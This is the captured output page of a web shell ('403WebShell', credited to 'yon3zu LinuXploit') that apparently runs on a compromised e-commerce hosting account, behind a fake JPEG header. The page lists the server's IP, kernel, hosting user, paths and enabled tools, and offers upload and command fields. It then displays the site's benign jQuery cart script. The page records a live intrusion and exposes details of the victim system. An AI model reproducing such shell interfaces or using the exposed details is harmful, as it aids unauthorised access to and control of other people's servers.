���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 88.222.243.200  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/saumasale.in/public_html/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/saumasale.in/public_html/assets/js/custom.js
$(function () {
   window.localStorage.removeItem("size");
   function randomString(length, chars) {
      var result = '';
      for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
      return result;
   }
   // var rString = randomString(32, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
   $("#product").data("id") ? window.localStorage.setItem("product", $("#product").data("id")) : "";
   window.localStorage.getItem("user") ? "" : window.localStorage.setItem("user", randomString(32, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'));
   var productPrice = parseFloat($(".productPrice").html());
   var productTarget = $(".productPrice");
   var sizePrice = 0;

   $("body").on("click", ".sizeBtn", function (e) {
      e.preventDefault();
      var id = $(this).data("id");
      var price = $(this).data("price");
      $("#size").val(price);
      $("#size").attr("data-id", id);
      id ? window.localStorage.setItem("size", id) : "";
      sizePrice = parseFloat(price);
      calculatePrice();
      // alert(id+" "+price);
   });
   function calculatePrice() {
      var allPrice = parseFloat(productPrice+sizePrice);
      productTarget.html(allPrice);
   }
   $("body").on("click", ".addToCart", function (e) {
      e.preventDefault();
      var proId = window.localStorage.getItem("product");
      var sizeId = window.localStorage.getItem("size");
      $.ajax({
         type: "POST",
         url: "command.php",
         data: { command: "addToCart", pro:proId,size:sizeId,user:window.localStorage.getItem("user") },
         success: function (result) {
            if (result) {
               if (result.status == true) {
                  getCart();
                  alert("Product added to cart");
               }
            }
         }
      });
   });
   function getCart() {
      $.ajax({
         type: "POST",
         url: "command.php",
         data: { command: "getCart", user: window.localStorage.getItem("user") },
         success: function (result) {
            if (result) {
               console.log("data: ", result.data);
               $(".cartDetails").html(result.data);
               $(".cartItemsCount").html($(".cartDetails .wish-item").length - 0);
            }
         }
      });
   }
   getCart();

   $("body").on("change", ".updateQty", function () {
      var id = $(this).attr("data-id");
      var qty = $(this).val();
      if (qty) {
         $.ajax({
            type: "POST",
            url: "command.php",
            data: { command: "updateCart", id: id, qty: qty },
            success: function (result) {
               if (result) {
                  if (result.status == true) {
                     window.location.reload();
                  } else {
                     alert(result.message);
                  }
               }
            }
         });
      }
   });

   // $("#login_form").submit(function() {
   //     // alert(form_data);
   //     var form_data = $(this).serialize();
   //     $.ajax({
   //         url: "command.php",
   //         type: "POST",
   //         data: form_data+"&user="+window.localStorage.getItem("user"),
   //         success: function(data) {
   //             // console.log(data);
   //             if (data.status == true) {
   //                 alert("Login Successfull");
   //                 window.location.href = "index.php";
   //             } else {
   //                 alert("ELSE: "+data.status);
   //             }
   //         }
   //     });
   //     return false;
   // });

   // $("body").on("submit", "form", function (e) {
   //     alert(data);
   // 	e.preventDefault();
   // 	var formData = new FormData(this);
   // 	$.ajax({
   // 		url: "command.php",
   // 		type: "POST",
   // 		data: formData,
   // 		//   data:url,
   // 		contentType: false,
   // 		cache: false,
   // 		processData: false,
   // 		success: function (data) {
   // 			if (data == "OK") {
   // 				alert('Successfull.');
   // 			} else {
   // 				alert(data);
   // 			}
   // 		}
   // 	});
   // });
   // Toggle Display Login and Register Form
   $("body").on("click", ".toggleLogin", function () {
      $(".coupon-checkout-content").toggleClass("d-none");
      var target = $("#checkout-area").offset();
      $("html,body").animate({ scrollTop: (target.top - 100) + "px" }, "slow");
   });
   // Toggle Display Login and Register Form
});


Youez - 2016 - github.com/yon3zu
LinuXploit